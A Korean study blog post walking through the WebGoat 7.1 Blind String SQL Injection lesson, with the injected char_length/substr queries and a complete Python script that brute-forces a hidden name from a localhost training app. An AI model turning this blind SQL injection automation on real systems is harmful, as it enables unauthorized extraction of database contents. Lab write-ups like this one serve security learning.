문자열인 field name을 알아내는 Blind String SQL Injection 실습!
일단! 문자열의 길이를 알아내기 위해 문자열 길이를 추출하는 함수인 char_length() 함수를 사용했다.
101 and char_length(select name from pins where cc_number='4321432143214321') <= 4;
문자열의 길이를 구한 후 각 자리에 맞는 문자를 추출하기 위해 substr() 함수를 사용한 query를 날렸다.
101 and substr((select name from pins where cc_number='4321432143214321'), 1, 1) <= 'Z';
따라서 위에서 언급한 두 query를 이용하여 스크립트를 작성했다.
코드를 통해 WebGoat 로그인 및 세션 유지 후 Blind String SQL Injection 페이지로 이동하여 해당 query를 입력하도록 했다.
먼저 char_length() 함수를 이용해 문자열의 길이를 추출한 다음,
substr() 함수를 이용해 문자열의 각 문자의 대소문자를 먼저 구분한 후, 대문자와 소문자에 맞는 코드를 수행하여 문자를 찾고, 마지막으로 전체 문자열을 출력하도록 했다.
#pip install requests
import requests
#pip install bs4
from bs4 import BeautifulSoup
# 답: Jill
# Burp Suite로 가로챈 url이어야 함
login_url = 'http://localhost:8080/WebGoat/j_spring_security_check' # 로그인 페이지 url
url = 'http://localhost:8080/WebGoat/attack?Screen=1315528047&menu=1100' # Blind Numeric SQL Injection 공격이 이뤄지는 url
# 로그인 페이지의 input 태그의 name값인 username과 password. 그에 대입할 로그인할 유저 정보
Login_INFO = {
'username': 'guest',
'password': 'guest'
}
# 해당 조건에 맞는 모든 태그를 가져오는 find_all()를 사용하여 p태그의 1번째 값과 쿼리 입력 결과값 비교
# <p>Invalid account number</p> : 존재하지 않을 때
# <p>Account number is valid</p> : 존재할 때
# name 길이 구하는 함수
def find_len():
str_len = 1
while True:
data = {'account_number': '101 and char_length(select name from pins where cc_number=\'4321432143214321\') <= %d;'%str_len}
r = Session.post(url, data) # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
soup = BeautifulSoup(r.content, 'html.parser') # Python 내장 html.parser를 이용하여 r.content 파싱
if str(soup.find_all('p')[1]) == '<p>Invalid account number</p>':
str_len = str_len+1
else:
return str_len # name 길이 return
# name 구하는 함수
def find_str(str_len):
flag = 1 # name 길이만큼 반복하기 위한 flag
name = '' # 추출된 문자가 추가될 name -> 답 저장용 변수
# name 길이만큼 반복하도록 설정
while(flag <= str_len):
# 해당 문자가 대문자인지 소문자인지 구분하기 위한 query
data ={'account_number': '101 and substr((select name from pins where cc_number=\'4321432143214321\'), %d, 1) <= \'Z\';'%flag}
r = Session.post(url, data) # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
soup = BeautifulSoup(r.content, 'html.parser') # Python 내장 html.parser를 이용하여 r.content 파싱
# 해당 문자가 대문자일때
if str(soup.find_all('p')[1]) == '<p>Account number is valid</p>':
for ch in range(65, 91): # A ~ Z 대입하여 응답 비교
data ={'account_number': '101 and substr((select name from pins where cc_number=\'4321432143214321\'), %d, 1) <= \'%c\';'%(flag, ch)}
r = Session.post(url, data) # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
soup = BeautifulSoup(r.content, 'html.parser') # Python 내장 html.parser를 이용하여 r.content 파싱
# 문자가 추출되면 name에 해당 문자 추가하고 for문 종료
if str(soup.find_all('p')[1]) == '<p>Account number is valid</p>':
name = name + chr(ch)
flag = flag +1
break
# 해당 문자가 소문자일때
else:
for ch in range(97, 123): # a ~ z 대입하여 응답 비교
data ={'account_number': '101 and substr((select name from pins where cc_number=\'4321432143214321\'), %d, 1) <= \'%c\';'%(flag, ch)}
r = Session.post(url, data) # Blind Numeric SQL Injection 페이지에 쿼리를 post방식으로 전달
soup = BeautifulSoup(r.content, 'html.parser') # Python 내장 html.parser를 이용하여 r.content 파싱
# 문자가 추출되면 name에 해당 문자 추가하고 for문 종료
if str(soup.find_all('p')[1]) == '<p>Account number is valid</p>':
name = name + chr(ch)
flag = flag +1
break
return name # name return
if __name__ == "__main__":
# session 생성
Session = requests.session()
# 로그인 페이지에 앞서 작성한 Login 정보를 post 방식으로 넘겨주고, 로그인 세션 유지
login_session = Session.post(login_url, data=Login_INFO)
str_len = find_len() # name 길이 찾는 함수로 gogo~
answer = find_str(int(str_len)) # name 찾는 함수로 gogo~
print('Name is:', str(answer))
Session.close() # 세션 닫
# r.content 출력 결과(Invalid / Valid)
'''
<!-- HTML fragment correpsonding to the lesson content -->
<div id="lessonContent">
The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122
The goal is to find the value of the field <b>name</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b>4321432143214321</b>. The field is of type varchar, which is a string.
Put the discovered name in the form to pass the lesson. Only the discovered name should be put into the form field, paying close attention to the spelling and capitalization.
</div>
<div class="info" id="message"></div>
<div id="lessonContent">
<form accept-charset="UNKNOWN" action="#attack/1315528047/1100" enctype="" method="POST" name="form">
<p>
Enter your Account Number:
<input name="account_number" type="TEXT" value="101 and char_length(select name from pins where cc_number='4321432143214321')<= 1;"/>
<input name="SUBMIT" type="SUBMIT" value="Go!"/>
<p>Invalid account number</p>
</p>
</form>
</div>
<!-- HTML fragment correpsonding to the lesson content -->
<div id="lessonContent">
The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122
The goal is to find the value of the field <b>name</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b>4321432143214321</b>. The field is of type varchar, which is a string.
Put the discovered name in the form to pass the lesson. Only the discovered name should be put into the form field, paying close attention to the spelling and capitalization.
</div>
<div class="info" id="message"></div>
<div id="lessonContent">
<form accept-charset="UNKNOWN" action="#attack/1315528047/1100" enctype="" method="POST" name="form">
<p>
Enter your Account Number:
<input name="account_number" type="TEXT" value="101 and char_length(select name from pins where cc_number='4321432143214321')<= 4;"/>
<input name="SUBMIT" type="SUBMIT" value="Go!"/>
<p>Account number is valid</p>
</p>
</form>
</div>
'''
결과적으로 field name인 Jill를 얻을 수 있다!
공부하면서 학습 목적으로 작성한 포스팅이므로 내용이 완전하지 않습니다ㅠ
계속해서 학습 후 지식이 좀 더 쌓이면 수시로 수정해나갈 예정입니다!
틀린 내용은 둥글게 댓글 달아주시면 빠른 확인 후 수정하겠습니다. :)
참고
'보안 > WebGoat 7.1' 카테고리의 다른 글
[WebGoat] Blind Numeric SQL Injection 자동화 스크립트 (0) | 2020.10.05 |
---|---|
나만 볼거지롱ㅎ (0) | 2020.10.05 |
댓글